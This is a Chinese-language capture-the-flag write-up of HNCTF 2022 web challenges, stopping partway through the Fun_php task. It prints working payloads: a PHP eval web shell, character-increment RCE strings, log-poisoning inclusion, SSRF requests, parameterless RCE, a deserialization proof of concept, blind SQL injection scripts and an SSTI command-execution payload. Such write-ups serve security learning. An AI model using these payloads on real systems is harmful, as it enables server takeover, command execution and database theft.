寫在前面:這是部分WP 一些比較有難度的我這小菜雞也不會 等官方WP 我會補充
目錄
- [Week1]Interesting_http
- 分析
- payload
- [Week1]2048
- 分析
- payload
- [Week1]easy_html
- 分析
- paylaod
- [Week1]Interesting_include
- 分析
- payload
- [Week1]easy_upload
- 分析
- payload
- [Week1]What is Web
- 分析
- payload
- [Week1]Challenge__rce--自增RCE
- 分析
- payload
- [WEEK2]easy_include -- 包含日志
- 分析
- payload
- [WEEK2]ez_ssrf
- 分析
- payload
- [WEEK2]Canyource -- 無引數RCE
- 分析
- payload
- [WEEK2]easy_unser
- 分析
- payload
- [WEEK2]easy_sql -- 無列名盲注
- 分析
- payload
- [WEEK2]ez_SSTI -- 無過濾
- 分析
- payload
- [WEEK2]ohmywordpress
- [WEEK3]ez_phar
- 分析
- [WEEK3]Fun_php
- 分析
- payload
- [WEEK3]ssssti
- 分析
- payload
[Week1]Interesting_http
分析
應該和http協議有關 想要什么 肯定flag
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-0Is2GDWt-1666973111128)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/1666972230013-1e6c375b-ee3b-427d-8e29-7df382e20751-16669726368142.png)]](https://img.uj5u.com/2022/10/30/328085300730371.png)
說我們不是admin 看看cookie
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-HjeGTS6h-1666973111129)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170143595.png)]](https://img.uj5u.com/2022/10/30/328085300730372.png)
修改cookie
繼續修改 x-forwarded-for
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-czZfl2wk-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170312095.png)]](https://img.uj5u.com/2022/10/30/328085300730374.png)
payload
POST:want=flag
請求頭 Cookie: user=admin
x-forwarded-for:127.0.0.1
[Week1]2048
分析
題目描述
你能達到20000分嗎?應該是要求我們玩到20000分
F12查看腳本
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-I4PpmmCA-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170621722.png)]](https://img.uj5u.com/2022/10/30/328085300730375.png)
直接輸入
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tB3Ia9S7-1666973111131)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170637534.png)]](https://img.uj5u.com/2022/10/30/328085300730376.png)
payload
在控制臺輸入
alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
[Week1]easy_html
分析
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ecU3AgtC-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170744760.png)]](https://img.uj5u.com/2022/10/30/328085300730377.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-GZmHQtW0-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170812253.png)]](https://img.uj5u.com/2022/10/30/328085300730378.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-vmHH0a5C-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170828618.png)]](https://img.uj5u.com/2022/10/30/328085300730379.png)
輸入框限制了11位 f12修改html屬性 或者直接post引數
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pYgjTlcQ-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170928310.png)]](https://img.uj5u.com/2022/10/30/3280853007303710.png)
paylaod
POST請求引數
cnt=11111111111&login=%E7%99%BB%E5%BD%95
[Week1]Interesting_include
分析
題目描述:web手要懂得搜索 應該要借助瀏覽器
一眼偽協議
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-n2mt0JPN-1666973111134)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171036902.png)]](https://img.uj5u.com/2022/10/30/3280853007303711.png)
base64解碼

payload
GET:
?filter=php://filter/convert.base64-encode/resource=flag.php
base64解碼
[Week1]easy_upload
分析
檔案上傳題目
試探一下上傳個木馬
<?php eval($_POST[1]);?>
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-dEqywAYm-1666973111135)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171337477.png)]](https://img.uj5u.com/2022/10/30/3280853007303713.png)
我敲,直接上傳成功 有些不對勁哦!
訪問一下下試試,我敲 送分題
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tKrDzbaz-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172150775.png)]](https://img.uj5u.com/2022/10/30/3280853007303714.png)
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-CWRwFpT9-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172222398.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9G7Zf4Er-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172229588.png)]
payload
直接上傳php一句話木馬
flag在根目錄下
[Week1]What is Web
分析
我敲 我傻了 這個題沒寫
直接查看原始碼 搜索 flag 或者 <!

base64解碼
payload
也就是看原始碼
[Week1]Challenge__rce--自增RCE
分析
hint:ctf吃瓜杯
打開源檔案,查看原始碼 發現hint
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mxXpJtSA-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215456485.png)]](https://img.uj5u.com/2022/10/30/3280853007303716.png)
直接給出的是原始碼
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-xHsf0zmL-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215521446.png)]](https://img.uj5u.com/2022/10/30/3280853007303717.png)
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
//長度小于等于120
if (strlen($rce) <= 120) {
if (is_string($rce)) {
//不能含有以下內容
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
先跑一下試試那些可見字符沒有被過濾
for($i=32;$i<127;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
echo chr($i);
}
}
# $()+,.0123456789;=[]_{} 發現這些可以使用 那么 思路來了 自增RCE
大致說一下
php中 $_ = []._; echo $_; => Array_ $_[0]==>A 這樣就可以構造命令執行
本題中限制字符120 我們可以構造chr函式 拼接GET
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
url編碼
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_1%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B(%24%24_%5B1%5D)()%3B
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-5WFTN9Ih-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026222606031-16667943670284.png)]](https://img.uj5u.com/2022/10/30/3280853007303718.png)
說明是可行的
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
這樣說是太長了 emmm
檢查發現寫的有點問題 改進以下
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
GET
?1=system&2=ls
POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mYKYRUbj-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026225911182.png)]](https://img.uj5u.com/2022/10/30/3280853007303719.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-JwwDTUgG-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230033386.png)]](https://img.uj5u.com/2022/10/30/3280853007303720.png)
payload
GET
?1=system&2=cat /ffflllaaaggg
POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
[WEEK2]easy_include -- 包含日志
分析
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
過濾了php date flag 看來是無法直接讀取flag 而且無法使用偽協議
想到之前學的檔案包含利用姿勢:包含訪問日志 查看以下服務器
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YJ097Sua-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230929757.png)]](https://img.uj5u.com/2022/10/30/3280853007303721.png)
默認檔案位置在:
/var/log/nginx/access.log
直接包含以下
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-yoYTGg0Z-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230957150.png)]](https://img.uj5u.com/2022/10/30/3280853007303722.png)
payload
就是抓包在請求頭寫入一個木馬 連接就好
[WEEK2]ez_ssrf
分析
根據題目訪問index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
考點就是php socket 偽造http請求ssrf
猜測有flag.php 直接發送請求看看,等到幾十秒 給出如下反應 那就訪問本機把
?data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogNDMuMTQzLjcuOTcNCkNvbm5lY3Rpb246IENsb3NlDQoNCg==&host=43.143.7.97&port=28819
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FrJVpLfI-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093454019.png)]](https://img.uj5u.com/2022/10/30/3280853007303723.png)
但是訪問本機22819埠無回顯,考慮一般都是80埠 試試唄
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-6L7w5Gjj-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093534865.png)]](https://img.uj5u.com/2022/10/30/3280853007303724.png)
這里要等待估計30s左右
其實一開始我就訪問的本機80 但是因為等的好久就關了!!
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ZUwFtG67-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093734103.png)]](https://img.uj5u.com/2022/10/30/3280853007303725.png)
payload
?data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
[WEEK2]Canyource -- 無引數RCE
分析
打開發現直接給的原始碼
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
ok發現此條正則運算式
-
任意字符加()被替換為空
-
R就是代表當前的遍歷 也就是替換后的
$_GET['code'] -
這個是遞回的替換,也就是將
a(v(1));=>1;
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
題目要求替換后的是;,也就是我們傳參的類似a(b(c(x())));
無引數RCE 可以網上一搜很多的
下面我們開始進行解flag
- localeconv() -- 函式回傳一個包含本地數字及貨幣格式資訊的陣列 第一個是.
- pos() -- 回傳陣列中的當前單元, 默認取第一個值
- next -- 將內部指標指向陣列下一個元素并輸出
- scandir() -- 掃描目錄
- array_reverse() -- 翻轉陣列
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-QNlIb2xG-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112321439.png)]](https://img.uj5u.com/2022/10/30/3280853007303726.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-HF2JMkmf-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112330919.png)]](https://img.uj5u.com/2022/10/30/3280853007303727.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-PF115PM7-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112342952.png)]](https://img.uj5u.com/2022/10/30/3280853007303728.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-x01YiRdw-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112430537.png)]](https://img.uj5u.com/2022/10/30/3280853007303729.png)
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-hMPCJiMX-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112604918.png)]](https://img.uj5u.com/2022/10/30/3280853007303730.png)
下面就是輸出flag.php的內容
過濾了
url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\/
使用 file_get_contents讀取
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9zesh3Co-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112752274.png)]](https://img.uj5u.com/2022/10/30/3280853007303731.png)
查看原始碼
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tHJZWcQX-1666973111142)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112758866.png)]](https://img.uj5u.com/2022/10/30/3280853007303732.png)
payload
?code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
[WEEK2]easy_unser
分析
PHP反序列化 打開題目為原始碼
include 'f14g.php';
error_reporting(0);
highlight_file(__FILE__);
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鮑勃,別傻愣著!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder{
public $CORE = "人類最大的敵人,就是無序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
審計一波原始碼
我們的目標是 highlight_file($this->want); 也就是 body 類
傳入 ywant
要保證 不觸發 __wakeup() 傳入引數數量大于實際引數數量繞過
繞過 $this->want == "f14g.php" OR is_file($this->want)
- 偽協議 is_file檢測除了file外的偽協議都是false
- 假目錄 ./flase/../f14g.php
POC
<?php
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$this->want = "./a/../f14g.php";
//或者 $this->want = "php://filter/convert.base64-encode/resource=f14g.php";
$this->todonothing = "22";
}
}
echo(urlencode(serialize(new body())));
?>

payload
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22.%2Fa%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
或者
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
[WEEK2]easy_sql -- 無列名盲注
分析
打開題目,發現頁面的回顯只有:1的、錯誤、error 三種 可以考慮盲注了
and && ^ # --+ 都被過濾
- 盲注的話考慮:與、異或、按位或、按位與
- 沒有辦法閉合考慮 or ||
sql中字符數字可以和數字進行按位或
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-4oiShfqr-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026232213666.png)]](https://img.uj5u.com/2022/10/30/3280853007303734.png)
構造 1'|1||' 正確回顯 1'|2||' 錯誤回顯
然后進行爆破資料庫長度
發現資料庫的長度是3
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-u0wNKgDJ-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026174631076.png)]](https://img.uj5u.com/2022/10/30/3280853007303735.png)
進一步嘗試,order、information_schema都被過濾
information_schema 被過濾 -> 無列名注入
order 被過濾 -> group 替換
爆破資料庫的列數,3列
1'group/**/by/**/3,'
前面的'閉合1前的' 后面的是閉合之前有的'
加上,分開 因為過濾了# 和 + 無法注釋 而order by group by要在最后 使用,分割
select * from xx where id = '1'group by 5,'2'
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-k1IXrpJS-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026193545902.png)]](https://img.uj5u.com/2022/10/30/3280853007303736.png)
information_schema.table被過濾 可以使用 mysql.innodb_table_stats
腳本爆破一下表的名字 得出 ccctttfff
def get_cloumns():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
下面無列名爆破資料
select 1,2,3 union select * from ccctttfff
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-QmKgz93H-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194312863.png)]](https://img.uj5u.com/2022/10/30/3280853007303737.png)
這樣以來 1 2 3 分別對應一列 二列 三列 的列名
然后
select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a
select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-fMfggjyA-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194427324.png)]](https://img.uj5u.com/2022/10/30/3280853007303738.png)
這樣就可以在沒有列名的情況下查詢到資料庫資訊
然后我們開始盲注
1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'
運行了好多遍 遍歷出來的三列分別是
# 第一列 1 # 第二列 bob # 第三列 I am so handsome
嗚嗚嗚,跑了好多遍,終于懷疑:出題人是不是沒有把flag放到這資料庫
重新跑所有的資料庫庫名
qwq,原諒我太菜
跑出來有兩個資料庫
ctf
ccctttfff
# 這個腳本的缺點:半自動 但是跑出來的表不會重復 需要修改
# limit 0,1 =>第一個資料庫
# limit 1,1 =>第二個資料庫
# ......
def get_all_database():
flag = ''
count = 1
while True:
for i in range(32, 127):
data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
if success in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
return False
time.sleep(0.1)
count += 1
# 這個腳本的缺點:有多少個表 就會跑多少個資料庫 資料庫會重復
def get_all_database():
flag =''
count = 1
while True:
for i in range(32, 127):
data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
if success in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
return False
time.sleep(0.1)
count += 1
第一個腳本結果:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Dkp2cagP-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113412616.png)]](https://img.uj5u.com/2022/10/30/3280853007303739.png)
第二個腳本結果:
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-g55lVKlk-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113035256.png)]](https://img.uj5u.com/2022/10/30/3280853007303740.png)
然后我跑的是所有的表名
因為知道ccctttff屬于ctf,那么跑出來的其余的都是ctftraining的
# 結果:
# ctf:ccctttfff
# ctftraining:flag,news,users,gtid_slave_pos
def get_tables():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
我是估計flag就在flag表里面,但是把無列名查詢我們要知道表中具體的列數的 我們又不知道flag表多少列
我查了資料也沒找到,因為information_schema被過濾,有大佬知道可以說下的!
然后就是靠懵了
比賽中表的列數一般會小于10 也就 3 4 5左右
我是從1開始試的
1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'
腳本
def get_values():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
print(i)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
最后也是跑出來了
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-oBfMminE-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027114429123.png)]](https://img.uj5u.com/2022/10/30/3280853007303741.png)
PS:這個題挺雞賊的哈哈哈
payload
就放的最后的
def get_values():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
print(i)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)
[WEEK2]ez_SSTI -- 無過濾
分析
get引數是name,無過濾 直接SSTI注入就好
payload
?name={{"".__class__.__mro__[1].__subclasses__()[226].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}
[WEEK2]ohmywordpress
版本是6.0.2 好像是存在sql注入 但是沒搜到相關資料
[WEEK3]ez_phar
分析
直接猜測的就是上傳目錄是upload 上傳一個 phar檔案
直接訪問webshell管理工具連接就好了
[WEEK3]Fun_php
分析
打開題目直接給出的是原始碼
<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
$data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/@$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>";
if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// ??HNCTF??Welcome to
if ("hn" == $_GET['hn'] &??+!!??& "?? Flag!??ctf" == $_GET[??LAG??ctf]) { //HN! flag!! F
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
}
?>
掃一眼 是要我們 $week_1 $week_2 均為true會給出flag
第一個$week_1
// 首先第一個if 對傳入的getuserid進行判斷是否為字串 肯定是字串
// 那么會拼接 我們要的是$user=114514 但是拼接了怎么辦?
// u5er_D0_n0t_b3g1n_with_4_numb3r 翻譯一下 user_do_not_begin_with_4_number
// 我理解的大概就是 user沒有以數字開頭 php中 非數字開頭字串+數字字串 = 數字字串 測驗一下
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
測驗 :
<?php
echo "9a"+'10'; // 19
